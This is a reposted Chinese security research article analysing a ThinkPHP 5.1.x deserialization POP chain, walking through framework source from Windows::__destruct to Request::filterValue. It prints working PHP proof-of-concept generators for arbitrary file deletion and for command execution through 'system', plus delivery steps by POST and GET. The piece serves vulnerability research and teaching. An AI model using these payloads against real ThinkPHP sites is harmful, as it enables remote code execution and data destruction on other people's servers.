返回顶部
首页 > 资讯 > 后端开发 > PHP编程 >Thinkphp 反序列化利用链深入分析
  • 425
分享到

Thinkphp 反序列化利用链深入分析

2023-06-05 04:06:08 425人浏览 独家记忆
摘要

作者:Ethan@知道创宇404实验室时间:2019年9月21日前言今年7月份,ThinkPHP 5.1.x爆出来了一个反序列化漏洞。之前没有分析过关于Thinkphp的反序列化漏洞。今天就探讨一下ThinkPHP的反序列化问题!环境搭建T

作者:Ethan@知道创宇404实验室
时间:2019年9月21日

前言

今年7月份,ThinkPHP 5.1.x爆出来了一个反序列化漏洞。之前没有分析过关于Thinkphp的反序列化漏洞。今天就探讨一下ThinkPHP的反序列化问题!

环境搭建
  • Thinkphp 5.1.35
  • php 7.0.12
漏洞挖掘思路

在刚接触反序列化漏洞的时候,更多遇到的是在魔术方法中,因此自动调用魔术方法而触发漏洞。但如果漏洞触发代码不在魔法函数中,而在一个类的普通方法中。并且魔法函数通过属性(对象)调用了一些函数,恰巧在其他的类中有同名的函数(pop链)。这时候可以通过寻找相同的函数名将类的属性和敏感函数的属性联系起来。

漏洞分析

首先漏洞的起点为/thinkphp/library/think/process/pipes/windows.php__destruct()

Thinkphp 反序列化利用链深入分析

__destruct()里面调用了两个函数,我们跟进removeFiles()函数。

class Windows extends Pipes{    private $files = [];    ....    private function removeFiles()    {        foreach ($this->files as $filename) {            if (file_exists($filename)) {                @unlink($filename);            }        }        $this->files = [];    }    ....}

这里使用了$this->files,而且这里的$files是可控的。所以存在一个任意文件删除的漏洞。

POC可以这样构造:

namespace think\process\pipes;class Pipes{}class Windows extends Pipes{private $files = [];public function __construct(){$this->files=['需要删除文件的路径'];}}echo base64_encode(serialize(new Windows()));

这里只需要一个反序列化漏洞的触发点,便可以实现任意文件删除。

removeFiles()中使用了file_exists$filename进行了处理。我们进入file_exists函数可以知道,$filename会被作为字符串处理。

Thinkphp 反序列化利用链深入分析

__toString 当一个对象被反序列化后又被当做字符串使用时会被触发,我们通过传入一个对象来触发__toString 方法。我们全局搜索__toString方法。

Thinkphp 反序列化利用链深入分析

我们跟进\thinkphp\library\think\model\concern\Conversion.php的Conversion类的第224行,这里调用了一个toJSON()方法。

    .....    public function __toString()    {        return $this->tojson();    }    .....

跟进toJson()方法

    ....    public function toJson($options = JSON_UNESCAPED_UNICODE)    {        return json_encode($this->toArray(), $options);    }    ....

继续跟进toArray()方法

   public function toArray()    {        $item    = [];        $visible = [];        $hidden  = [];        .....        // 追加属性(必须定义获取器)        if (!empty($this->append)) {            foreach ($this->append as $key => $name) {                if (is_array($name)) {                    // 追加关联对象属性                    $relation = $this->getRelation($key);                    if (!$relation) {                        $relation = $this->getAttr($key);                        $relation->visible($name);                    }            .....

我们需要在toArray()函数中寻找一个满足$可控变量->方法(参数可控)的点,首先,这里调用了一个getRelation方法。我们跟进getRelation(),它位于Attribute类中

    ....    public function getRelation($name = null)    {        if (is_null($name)) {            return $this->relation;        } elseif (array_key_exists($name, $this->relation)) {            return $this->relation[$name];        }        return;    }    ....

由于getRelation()下面的if语句为if (!$relation),所以这里不用理会,返回空即可。然后调用了getAttr方法,我们跟进getAttr方法

public function getAttr($name, &$item = null)    {        try {            $notFound = false;            $value    = $this->getData($name);        } catch (InvalidArgumentException $e) {            $notFound = true;            $value    = null;        }        ......

继续跟进getData方法

   public function getData($name = null)    {        if (is_null($name)) {            return $this->data;        } elseif (array_key_exists($name, $this->data)) {            return $this->data[$name];        } elseif (array_key_exists($name, $this->relation)) {            return $this->relation[$name];        }

通过查看getData函数我们可以知道$relation的值为$this->data[$name],需要注意的一点是这里类的定义使用的是Trait而不是class。自 PHP 5.4.0 起,PHP 实现了一种代码复用的方法,称为 trait。通过在类中使用use 关键字,声明要组合的Trait名称。所以,这里类的继承要使用use关键字。然后我们需要找到一个子类同时继承了Attribute类和Conversion类。

我们可以在\thinkphp\library\think\Model.php中找到这样一个类

abstract class Model implements \JsonSerializable, \ArrayAccess{    use model\concern\Attribute;    use model\concern\RelationShip;    use model\concern\ModelEvent;    use model\concern\TimeStamp;    use model\concern\Conversion;    .......

我们梳理一下目前我们需要控制的变量

  1. $files位于类Windows
  2. $append位于类Conversion
  3. $data位于类Attribute

利用链如下:

Thinkphp 反序列化利用链深入分析

代码执行点分析

我们现在缺少一个进行代码执行的点,在这个类中需要没有visible方法。并且最好存在__call方法,因为__call一般会存在__call_user_func__call_user_func_array,php代码执行的终点经常选择这里。我们不止一次在Thinkphp的rce中见到这两个方法。可以在/thinkphp/library/think/Request.php,找到一个__call函数。__call 调用不可访问或不存在的方法时被调用。

   ......   public function __call($method, $args)    {        if (array_key_exists($method, $this->hook)) {            array_unshift($args, $this);            return call_user_func_array($this->hook[$method], $args);        }        throw new Exception('method not exists:' . static::class . '->' . $method);    }   .....

但是这里我们只能控制$args,所以这里很难反序列化成功,但是 $hook这里是可控的,所以我们可以构造一个hook数组"visable"=>"method",但是array_unshift()向数组插入新元素时会将新数组的值将被插入到数组的开头。这种情况下我们是构造不出可用的payload的。

在Thinkphp的Request类中还有一个功能filter功能,事实上Thinkphp多个RCE都与这个功能有关。我们可以尝试覆盖filter的方法去执行代码。

代码位于第1456行。

  ....  private function filterValue(&$value, $key, $filters)    {        $default = array_pop($filters);        foreach ($filters as $filter) {            if (is_callable($filter)) {                // 调用函数或者方法过滤                $value = call_user_func($filter, $value);            }            .....

但这里的$value不可控,所以我们需要找到可以控制$value的点。

....    public function input($data = [], $name = '', $default = null, $filter = '')    {        if (false === $name) {            // 获取原始数据            return $data;        }        ....       // 解析过滤器        $filter = $this->getFilter($filter, $default);        if (is_array($data)) {            array_walk_recursive($data, [$this, 'filterValue'], $filter);            if (version_compare(PHP_VERSION, '7.1.0', '<')) {                // 恢复PHP版本低于 7.1 时 array_walk_recursive 中消耗的内部指针                $this->arrayReset($data);            }        } else {            $this->filterValue($data, $name, $filter);        }.....

但是input函数的参数不可控,所以我们还得继续寻找可控点。我们继续找一个调用input函数的地方。我们找到了param函数。

   public function param($name = '', $default = null, $filter = '')    {         ......        if (true === $name) {            // 获取包含文件上传信息的数组            $file = $this->file();            $data = is_array($file) ? array_merge($this->param, $file) : $this->param;            return $this->input($data, '', $default, $filter);        }        return $this->input($this->param, $name, $default, $filter);    }

这里仍然是不可控的,所以我们继续找调用param函数的地方。找到了isajax函数

    public function isAjax($ajax = false)    {        $value  = $this->server('Http_X_REQUESTED_WITH');        $result = 'xmlhttprequest' == strtolower($value) ? true : false;        if (true === $ajax) {            return $result;        }        $result           = $this->param($this->config['var_ajax']) ? true : $result;        $this->mergeParam = false;        return $result;    }

isAjax函数中,我们可以控制$this->config['var_ajax']$this->config['var_ajax']可控就意味着param函数中的$name可控。param函数中的$name可控就意味着input函数中的$name可控。

param函数可以获得$_GET数组并赋值给$this->param

再回到input函数中

$data = $this->getData($data, $name);

$name的值来自于$this->config['var_ajax'],我们跟进getData函数。

    protected function getData(array $data, $name)    {        foreach (explode('.', $name) as $val) {            if (isset($data[$val])) {                $data = $data[$val];            } else {                return;            }        }        return $data;    }

这里$data直接等于$data[$val]

然后跟进getFilter函数

    protected function getFilter($filter, $default)    {        if (is_null($filter)) {            $filter = [];        } else {            $filter = $filter ?: $this->filter;            if (is_string($filter) && false === strpos($filter, '/')) {                $filter = explode(',', $filter);            } else {                $filter = (array) $filter;            }        }        $filter[] = $default;        return $filter;    }

这里的$filter来自于this->filter,我们需要定义this->filter为函数名。

我们再来看一下input函数,有这么几行代码

....if (is_array($data)) {            array_walk_recursive($data, [$this, 'filterValue'], $filter);            ...

这是一个回调函数,跟进filterValue函数。

    private function filterValue(&$value, $key, $filters)    {        $default = array_pop($filters);        foreach ($filters as $filter) {            if (is_callable($filter)) {                // 调用函数或者方法过滤                $value = call_user_func($filter, $value);            } elseif (is_Scalar($value)) {                if (false !== strpos($filter, '/')) {                    // 正则过滤                    if (!preg_match($filter, $value)) {                        // 匹配不成功返回默认值                        $value = $default;                        break;                    }         .......

通过分析我们可以发现filterValue.value的值为第一个通过GET请求的值,而filters.keyGET请求的键,并且filters.filters就等于input.filters的值。

我们尝试构造payload,这里需要namespace定义命名空间

<?phpnamespace think;abstract class Model{    protected $append = [];    private $data = [];    function __construct(){        $this->append = ["ethan"=>["calc.exe","calc"]];        $this->data = ["ethan"=>new Request()];    }}class Request{    protected $hook = [];    protected $filter = "system";    protected $config = [        // 表单请求类型伪装变量        'var_method'       => '_method',        // 表单ajax伪装变量        'var_ajax'         => '_ajax',        // 表单pjax伪装变量        'var_pjax'         => '_pjax',        // PATHINFO变量名 用于兼容模式        'var_pathinfo'     => 's',        // 兼容PATH_INFO获取        'pathinfo_fetch'   => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'],        // 默认全局过滤方法 用逗号分隔多个        'default_filter'   => '',        // 域名根,如thinkphp.cn        'url_domain_root'  => '',        // https代理标识        'https_agent_name' => '',        // IP代理获取标识        'http_agent_ip'    => 'HTTP_X_REAL_IP',        // URL伪静态后缀        'url_html_suffix'  => 'html',    ];    function __construct(){        $this->filter = "system";        $this->config = ["var_ajax"=>''];        $this->hook = ["visible"=>[$this,"isAjax"]];    }}namespace think\process\pipes;use think\model\concern\Conversion;use think\model\Pivot;class Windows{    private $files = [];    public function __construct()    {        $this->files=[new Pivot()];    }}namespace think\model;use think\Model;class Pivot extends Model{}use think\process\pipes\Windows;echo base64_encode(serialize(new Windows()));?>

首先自己构造一个利用点,别问我为什么,这个漏洞就是需要后期开发的时候有利用点,才能触发

Thinkphp 反序列化利用链深入分析

我们把payload通过POST传过去,然后通过GET请求获取需要执行的命令

Thinkphp 反序列化利用链深入分析

执行点如下:

Thinkphp 反序列化利用链深入分析

利用链如下:

Thinkphp 反序列化利用链深入分析

参考文章

https://blog.riskivy.com/挖掘暗藏thinkphp中的反序列利用链/

https://xz.aliyun.com/t/3674

https://www.cnblogs.com/iamstudy/articles/php_object_injection_pop_chain.html

http://www.f4ckWEB.top/index.php/arcHives/73/

https://cl0und.GitHub.io/2017/10/01/POP%E9%93%BE%E5%AD%A6%E4%B9%A0/

--结束END--

本文标题: Thinkphp 反序列化利用链深入分析

本文链接: https://lsjlt.com/news/241253.html(转载时请注明来源链接)

有问题或投稿请发送至: 邮箱/279061341@qq.com    QQ/279061341

猜你喜欢
  • Thinkphp 反序列化利用链深入分析
    作者:Ethan@知道创宇404实验室时间:2019年9月21日前言今年7月份,ThinkPHP 5.1.x爆出来了一个反序列化漏洞。之前没有分析过关于ThinkPHP的反序列化漏洞。今天就探讨一下ThinkPHP的反序列化问题!环境搭建T...
    99+
    2023-06-05
  • Ezpop pop序列化链反序列化实例分析
    这篇文章主要介绍了Ezpop pop序列化链反序列化实例分析的相关知识,内容详细易懂,操作简单快捷,具有一定借鉴价值,相信大家阅读完这篇Ezpop pop序列化链反序列化实例分析文章都会有所收获,下面我们一起来看看吧。&...
    99+
    2023-06-30
  • 深入浅析Java中的序列化与反序列化
    这篇文章将为大家详细讲解有关深入浅析Java中的序列化与反序列化,文章内容质量较高,因此小编分享给大家做个参考,希望大家阅读完这篇文章后对相关知识有一定的了解。Java 序列化和反序列化实例详解在分布式应用中,对象只有经过序列化才能在各个分...
    99+
    2023-05-31
    java 序列化 反序列化
  • Hessian 反序列化及相关利用链
    作者:Longofo@知道创宇404实验室时间:2020年2月20日原文地址:https://paper.seebug.org/1131/前不久有一个关于Apache Dubbo Http反序列化的漏洞,本来是一个正常功能(通过正常调用抓包...
    99+
    2023-06-05
  • 深入理解Java序列化与反序列化
    目录一、前言1.1 String1.2 Integer二、案例2.1 编写大象类2.2 大象测试类三、运行结果一、前言 序列化:将对象转换为二进制序列在网络中传输或保存到磁盘 反序列...
    99+
    2024-04-02
  • PHP反序列化漏洞详解(万字分析、由浅入深)
    文章目录 一、PHP面向对象编程public、protected、private魔术方法(magic函数)魔术方法在反序列化攻击中的作用 二、PHP序列化和反序列化PHP序列化PHP反序列...
    99+
    2023-10-27
    php PHP反序列化漏洞 魔术函数 mysql url
  • Java序列化和反序列化示例分析
    这期内容当中小编将会给大家带来有关Java序列化和反序列化示例分析,文章内容丰富且以专业的角度为大家分析和叙述,阅读完这篇文章希望大家可以有所收获。序列化是为了把Java对象转化为字节序列(字节流)的过程。然后深拷贝是通过对流的操作来实现的...
    99+
    2023-06-26
  • PHPsession反序列化漏洞深入探究
    目录PHP sessionphp三种序列化处理器PHP session php session 反序列化漏洞存在的原因:当序列化session和读取反序列化字符时采用的序列化选择器不...
    99+
    2022-11-16
    PHP session PHP session反序列化
  • PHP反序列化入门代码实例分析
    本文小编为大家详细介绍“PHP反序列化入门代码实例分析”,内容详细,步骤清晰,细节处理妥当,希望这篇“PHP反序列化入门代码实例分析”文章能帮助大家解决疑惑,下面跟着小编的思路慢慢深入,一起来学习新知识吧。php反序列化简单理解首先我们需要...
    99+
    2023-07-05
  • thinkphp5.0.24反序列化漏洞分析
    thinkphp5.0.24反序列化漏洞分析 文章目录 thinkphp5.0.24反序列化漏洞分析 具体分析 反序列化起点 toArray ge...
    99+
    2023-09-03
    安全 php web安全 数据库 开发语言
  • Think PHP 6.0.13反序列化分析
    原poc链接:https://github.com/top-think/framework/issues/2749 think PHP 6.0.13下载 composer create-project topthink/think tp p...
    99+
    2023-10-06
    php web安全
  • Java中序列化与反序列化的示例分析
    这篇文章将为大家详细讲解有关Java中序列化与反序列化的示例分析,小编觉得挺实用的,因此分享给大家做个参考,希望大家阅读完这篇文章后可以有所收获。一、前言序列化:将对象转换为二进制序列在网络中传输或保存到磁盘反序列化:从网络或磁盘中将二进制...
    99+
    2023-06-15
  • Python中序列化与反序列化的示例分析
    这篇文章将为大家详细讲解有关Python中序列化与反序列化的示例分析,小编觉得挺实用的,因此分享给大家做个参考,希望大家阅读完这篇文章后可以有所收获。初识序列化与反序列化什么是序列化?通俗一点来说,序列化就是将 对象的信息 或者 数据结构的...
    99+
    2023-06-29
  • TP 5.0.24反序列化漏洞分析
    前言 很久没发过文章了,最近在研究审计链条相关的东西,codeql,ast,以及一些java的东西很多东西还是没学明白就先不写出来丢人了,写这篇tp的原因呢 虽然这个漏洞的分析文章蛮多了,但是还是跟着...
    99+
    2023-08-31
    php 安全 web安全
  • Python反序列化的示例分析
    这篇文章给大家分享的是有关Python反序列化的示例分析的内容。小编觉得挺实用的,因此分享给大家做个参考,一起跟随小编过来看看吧。Python反序列化漏洞Pickle序列化:pickle.dumps() 将对象序列化为字符串、pickle....
    99+
    2023-06-29
  • Jil、json序列化和反序列化库的示例分析
    这篇文章主要介绍了Jil、json序列化和反序列化库的示例分析,具有一定借鉴价值,感兴趣的朋友可以参考下,希望大家阅读完这篇文章之后大有收获,下面让小编带着大家一起了解一下。Jil很牛,比Newtonsof...
    99+
    2024-04-02
  • Java对象的序列化和反序列化举例分析
    本篇内容介绍了“Java对象的序列化和反序列化举例分析”的有关知识,在实际案例的操作过程中,不少人都会遇到这样的困境,接下来就让小编带领大家学习一下如何处理这些情况吧!希望大家仔细阅读,能够学有所成!1、什么是序列化与反序列化?  序列化:...
    99+
    2023-06-19
  • PHP反序列化漏洞实例分析
    本篇内容介绍了“PHP反序列化漏洞实例分析”的有关知识,在实际案例的操作过程中,不少人都会遇到这样的困境,接下来就让小编带领大家学习一下如何处理这些情况吧!希望大家仔细阅读,能够学有所成!一、PHP面向对象编程在面向对象的程序设计(Obje...
    99+
    2023-06-29
  • java安全fastjson1.2.24反序列化TemplatesImpl分析
    目录1. fastjson序列化2. fastjson反序列化3. fastjson反序列化漏洞原理4. fastjson1.2.24漏洞复现5. fastjson1.2.24漏洞分...
    99+
    2024-04-02
  • PHP的session反序列化漏洞分析
    这篇文章主要讲解了“PHP的session反序列化漏洞分析”,文中的讲解内容简单清晰,易于学习与理解,下面请大家跟着小编的思路慢慢深入,一起来研究和学习“PHP的session反序列化漏洞分析”吧!PHP session反序列化漏洞PHP ...
    99+
    2023-06-30
软考高级职称资格查询
编程网,编程工程师的家园,是目前国内优秀的开源技术社区之一,形成了由开源软件库、代码分享、资讯、协作翻译、讨论区和博客等几大频道内容,为IT开发者提供了一个发现、使用、并交流开源技术的平台。
  • 官方手机版

  • 微信公众号

  • 商务合作